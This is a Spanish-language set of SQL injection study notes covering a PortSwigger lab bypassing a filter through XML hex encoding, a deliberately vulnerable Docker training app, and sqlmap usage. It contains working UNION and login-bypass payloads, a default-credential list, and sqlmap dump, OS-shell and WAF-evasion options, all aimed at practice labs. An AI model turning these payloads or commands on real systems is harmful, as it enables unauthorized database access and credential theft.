🅱️ SQLI FILTER BYPASS VIA XML ENCODING

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding

Este laboratorio contiene una vulnerabilidad de inyección SQL en la función "check stock" de cada producto.
Los resultados de la petición son devueltos en la respuesta HTML, por donde se podría atacar con UNION y similares.
La base de datos contiene una tabla "
users", que contiene las columnas "username" y "password". Obten las credenciales del usuario "administrator".

En primer lugar hay que acceder a un producto y comprobar la función "check stock":
 

burr2.png


Aquí captamos el tráfico con "Burpsuite" y podemos hacer alguna prueba simple introduciendo una query entre las etiquetas de <storeId>, pero sorprendentemente, la página detecta nuestra actividad (attack detected).

burr3.png


Para "bypassear" el código, podemos ayudarnos de la extensión "Hackvertor", gratuita en la BApp Store. Se explica todo sobre ella aquí. Con la extensión instalada, seleccionamos la query introducida (union select NULL-- -) y haciendo click derecho selecionamos: Extensions > Hackvertor > Encode > hex_entities

burr5.png


Creará dos etiquetas envolviendo la query. Para que funciona correctamente, debemos bajar un reglón la segunda etiqueta que pone <@/hex_entities>.
 

burr6.png


Si volvemos a introducir código, ahora si funcionará. Por ejemplo metiendo la inyección:
union select schema_name from information_schema.schemata-- -

Devolviendo las bases de datos existentes entre la respuesta HTTP:
public
pg_catalog
information_schema

 

burr7.png


Sabiendo esto y la información que nos dan en la descripción del laboratorio, se puede ir a tiro hecho a por la contraseña:
union select password from users where username='administrator'-- -

Obteniendo la contraseña en la respuesta HTTP:
ejktjke4qkklhrlmp13f
 

burr8.png
SQLI training app

🐳 SQL INJECTION TRAINING APP (Docker-Compose) (8 pruebas)

🌐 https://github.com/appsecco/sqlinjection-training-app

DESCARGAR REPOSITORIO GITHUB:
git clone https://github.com/appsecco/sqlinjection-training-app

Posicionarnos en carpeta que contenga el archivo docker-compose.yml.
cd sqlinjection-training-app/

Montar aplicación multi-contenedor con docker-compose:
sudo docker-compose up

Tardará unos minutos en estabilizarse. Se tiene que dejar corriendo en la consola.

Introducir en el navegador para acceder a la web preparada:

localhost:8000

Primero es necesario resetear la base de datos. O bien en el botón de "reset database" o mediante:
http://localhost:8000/resetdb.php

Para activar la vista de depuración o "debug view", añadir en la URL:
?debug=true

NOTA: La aplicación no es segura de forma deliberada para el propósito de practicar. No ejecutar en u nservidor conectado a internet ni en entornos que no sean de confianza.

-------------------------------------------------------------------------------------------------------------------------------------------------------

🧪 
LABORATORIO 3: searchproducts.php - multiple exercises:

Aparece una página de autenticación para acceder a una base de datos.

Paso 1: 
Probar credenciales típicas. Con una simple prueba, podemos sacar que el
USUARIO es admin y la CONTRASEÑA también admin. Algunas credenciales a probar son:

USUARIO              CONTRASEÑA

admin                     admin
root                         root
default                   default
test                         test
dbadmin                dbadmin
guest                      guest
adminuser            adminuser
mysql                     mysql
oracle                     oracle
user                        user
user1                      user1


Paso 2: 
Probar inyecciones de login sin contraseña. En este caso, surten efecto:
 
Username: admin' OR '1'='1' #
Password: [cualquiera]

Username: admin'#
Password: [cualquiera]


Paso 3:
Una vez dentro se puede probar a hacer inyecciones en la caja de búsqueda de productos o en la URL.

En la caja de búsqueda de productos podemos ver que:

- Haciendo [
search!] en vacío muestra todos los productos
- Buscando con la entrada "
1" no muestra nada
- Buscando con la entrada "
test" no muestra nada
- Buscando con la entrada "
a" muestra los productos que empiezan por la letra A
- Buscando con la entrada "
a'" tira el error:

"
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1"

Que puede ser explotado.


Paso 4:
( EN CONSTRUCCIÓN )

​​🛑 SQLMAP

SQLMap es una herramienta de código abierto ampliamente utilizada para automatizar la detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web. Está preinstalada en distribuciones como Kali Linux y es muy popular entre los analistas de ciberseguridad y pentesters debido a su capacidad para realizar pruebas exhaustivas en sistemas vulnerables. SQLMap puede automatizar tareas complejas, como identificar vulnerabilidades, extraer bases de datos completas, manipular datos, y más.


CARACTERÍSTICAS CLAVE
1. Soporta múltiples técnicas de inyección SQL, incluyendo:
    - Boolean-based blind
    - Time-based blind
    - Error-based
    - Union query
    - Stacked queries
    - Out-of-band

2. Compatible con varios motores de bases de datos, como MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite, entre otros.
3. Capaz de extraer información, descargar bases de datos y realizar ataques avanzados.
4. Flexibilidad en configuraciones para pruebas personalizadas.

Clonar el repositorio oficial desde GitHub:
git clone https://github.com/sqlmapproject/sqlmap.git

Navega al directorio del proyecto:
cd sqlmap

Ejecutar con Python para INSTALAR:
python3 sqlmap.py

EJEMPLO SIMPLE:
sqlmap -u "http://ejemplo.com/products.php?id=1" --dbs

EJEMPLO AVANZADO:
sqlmap -u "http://ejemplo.com/products.php?id=1" -D example_db -T users --dump

EJEMPLO con WIZARD (asistente):
sqlmap --wizard

PARÁMETROS:
-u [URL]                                   (Especifica la URL objetivo)
--data [data]                          (Envía datos personalizados en una solicitud POST)
--cookie [cookie]                  (Utiliza una cookie específica en la solicitud HTTP)
--dbs                                        (Enumera todas las bases de datos disponibles)
--tables                                   (Lista todas las tablas en una base de datos específica)
--columns                               (Lista todas las columnas de una tabla específica)
-D [database]                        (Especifica la base de datos objetivo)
-T [tabla]                                (Especifica la tabla objetivo)
-C [columna]                         (Especifica las columnas objetivo)
--dump                                   (Descarga los datos de una base de datos o tabla específica)
--risk [nivel]                           (Ajusta el nivel de riesgo (1-3) para las pruebas de inyección)
--level [nivel]                         (Configura el nivel de profundidad para las pruebas, 1-5)
--os-shell                                (Intenta obtener acceso a una shell del sistema operativo)
--batch                                    (Ejecuta SQLMap sin solicitar confirmación interactiva)
--tamper [script]                  (Usa un script para evadir firewalls o WAFs. Ejemplo: --tamper=space2comment)
--proxy [proxy]                      (Redirige el tráfico a través de un proxy)
--random-agent                   (Usa un User-Agent aleatorio para simular diferentes navegadores)
--wizard                                  (activa un asistente interactivo que te guía paso a paso para configurar tu ataque o prueba de inyección SQL)
 

SQLMAP
bottom of page